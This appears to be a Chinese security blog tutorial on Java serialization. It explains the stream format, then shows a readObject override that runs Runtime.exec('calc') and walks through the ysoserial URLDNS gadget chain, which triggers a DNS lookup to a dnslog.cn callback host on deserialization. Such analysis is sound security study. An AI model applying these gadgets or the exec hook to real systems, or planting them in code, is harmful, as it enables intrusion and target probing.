0x00 什么是序列化与反序列化
把对象转换为字节序列的过程称为对象的序列化,序列化将数据分解成字节流,以便存储在文件中或在网络上传输。
把字节序列恢复为对象的过程称为对象的反序列化。
Java在序列化一个对象时,会调用对象的writeObject
方法,参数类型为ObjectOutputStream
,而反序列化时调用对象的readObject
方法,参数类型也为ObjectOutputStream
。
只有实现了Serializable或者Externalizable接口的类的对象才能被序列化为字节序列。(不是则会抛出异常)
0x01 序列化条件
- 该类必须实现
java.io.Serializable
对象。 - 若其父类没有实现
java.io.Serializable
,则必须存在一个无参构造方法。 -
该类的所有属性必须是可序列化的。如果有一个属性不是可序列化的,则该属性必须注明是transient。
0x02 简单的示例
这个是父类Father
,有一个私有属性name
。这里要实现子类的序列化的话,要有一个无参的构造方法,否则会报错。
public class Father {
private String name;
public Father() {
}
public Father(String name) {
this.name = name;
}
@Override
public String toString() {
return "name=" + name;
}
}
这个是子类son
,增加一个私有属性school
,一个静态属性hobby
,继承了父类Father
,实现了接口Serializable
。
public class Son extends Father implements Serializable {
private String school;
public static String hobby = "study";
public Son() {
super();
}
public Son(String name, String school) {
super(name);
this.school = school;
}
@Override
public String toString() {
return super.toString() + ",school=" + school + ",hobby=" + hobby;
}
}
以下为序列化与反序列化的测试代码,new一个Son
类之后,进行输出,创建一个FileOutputStream
对象,将其封装在一个ObjectOutputStream
对象中,然后调用writeObject
方法对son
进行序列化,在进行反序列化之前,对子类Son
的静态属性hobby
进行修改,然后将一个FileInputStream
对象封装在ObjectInputStream
中,调用readObject
反序列化,然后输出反序列化之后对象的内容。
public class SerializeMain {
private static final String filePath = "./data";
public static void main(String[] args) throws Exception {
serializeAnimal();
deserializeAnimal();
}
private static void serializeAnimal() throws Exception {
Son son = new Son("So4ms", "SCU");
System.out.println("=================序列化之前================");
System.out.println(son.toString());
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(filePath));
oos.writeObject(son);
oos.flush();
oos.close();
}
private static void deserializeAnimal() throws Exception {
Son.hobby = "sleep";
System.out.println("=================序列化之后================");
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filePath));
Son son = (Son)ois.readObject();
ois.close();
System.out.println(son);
}
}
输出结果如下:
=================序列化之前================
name=So4ms,school=SCU,hobby=study
=================序列化之后================
name=null,school=SCU,hobby=sleep
可以看到其中name
为null
,school
不变,hobby
被修改为我们反序列化之前修改的值了。
因为这里序列化的对象的父类Father
没有实现Serializable
接口,反序列化时就调用了无参构造方法Father()
,name
就没有被序列化,得到的结果就为null
。
而静态成员变量是不能被序列化, 反序列化后的hobby
读取的是在JVM
内存中存储的值。
0x03 序列化数据
使用 010 editor 打开之前保存序列化数据的文件data
,内容如下。
AC ED
是STREAM_MAGIC
,声明使用了序列化协议。
00 05
是`STREAM_VERSION,序列化协议的版本。
73 72
是TC_OBJECT
,声明这是一个新的对象。
00 03
是类名长度,即Son
的长度3。
53 6F 6E
对应前面的长度3,是类名。
39 39 79 BE A8 B5 EC 66
是序列号。
02
是flag,表示可序列化。
00 01
表示类的字段数个数,没有将静态成员变量计算在内。
4C
表示TypeCode
,L
表示String
类型。
00 06
是字段长度,school
长度为6。
73 63 68 6F 6F 6C
是字段名,为school
。
74
,标志位:TC_STRING,表示后面的数据是个字符串。
00 12
,类名长度,18个字节。
4C 6A 61 76 61 2F 6C 61 6E 67 2F 53 74 72 69 6E 67 3B
,Ljava/lang/String;
。
78
,TC_ENDBLOCKDATA
,对象的数据块描述的结束。
70
,TC_NULL
,Null object reference
。
74 00 03 53 43 55
是对象属性的值。
0x04 可能存在的漏洞点
在PHP中,可能会因为在反序列化时触发的函数__wakeup
、__destruct
中存在一些危险操作,就会导致漏洞的产生。
在Java中,反序列化时会触发readObject
,在类中,readObject
方法是可以自定义的,进行反序列化时会自动调用它,如果代码编写不当,就有可能导致漏洞的发生。
比如,我们在上面的Son
中,增加一个readObject
方法。
private void readObject(ObjectInputStream input) throws IOException, ClassNotFoundException {
System.out.println("readObject");
Runtime.getRuntime().exec("calc");
}
在反序列化后,可以看到输出了readObject
,并且弹出了计算器。
0x05 URLDNS 利用链
环境
项目地址:ysoserial
jdk版本:1.8(这里最好不要使用高版本,一些依赖包在高版本中没有,会产生报错)
调试分析
安装好ysoserial
后,可以在Edit Configurations
中修改调试信息,添加参数。
找到ysoserial\src\main\java\ysoserial\payloads\URLDNS.java
文件,在main函数的PayloadRunner.run(URLDNS.class, args);
处打下断点,开始调试。
进入PayloadRunner.run()
,这里的payload
是URLDNS
,调用了payload.getObject(command);
,而参数command
就是我们上面添加的参数http://hgs7jp.dnslog.cn
。
public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
// ensure payload generation doesn't throw an exception
byte[] serialized = new ExecCheckingSecurityManager().callWrapped(new Callable<byte[]>(){
public byte[] call() throws Exception {
final String command = args.length > 0 && args[0] != null ? args[0] : getDefaultTestCmd();
System.out.println("generating payload object(s) for command: '" + command + "'");
ObjectPayload<?> payload = clazz.newInstance();
final Object objBefore = payload.getObject(command);
System.out.println("serializing payload");
byte[] ser = Serializer.serialize(objBefore);
Utils.releasePayload(payload, objBefore);
return ser;
}});
try {
System.out.println("deserializing payload");
final Object objAfter = Deserializer.deserialize(serialized);
} catch (Exception e) {
e.printStackTrace();
}
}
回到URLDNS
的getObject
方法,新建了几个对象,接着调用了ht.put(u, url);
。
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
put
方法如下,跟进hash()
,传入参数的是url
对象。
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
这里调用了url
对象的hashcode
方法。
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
跟进到url
对象的hashcode
方法,当hashCode
值不为-1时,就会调用SilentURLStreamHandler
类的hashCode
方法
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
再来看看URLStreamHandler
类的hashCode
方法,getHostAddress
会发起一个DNS请求将域名解析成IP地址,于是就会有DNS记录。
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}
// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();
// Generate the port part.
if (u.getPort() == -1)
h += getDefaultPort();
else
h += u.getPort();
// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();
return h;
}
在进行反序列化时,在readObject
中,执行了putVal(hash(key), key, value, false, false);
,之后与序列化时一样。
所以需要生成一个URLStreamHandler
的对象,将其作为hashMap
的key
值,进行反序列化。
整个调用链如下:
HashMap.readObject() ->
HashMap.putVal() ->
HashMap.hash() ->
URL.hashcode() ->
URLStreamHandler.hashCode()
URLStreamHandler.getHostAddress() ->
InetAddress->getByName()
利用较简单,危害性较低,只存在一个DNS解析请求。
Comments | NOTHING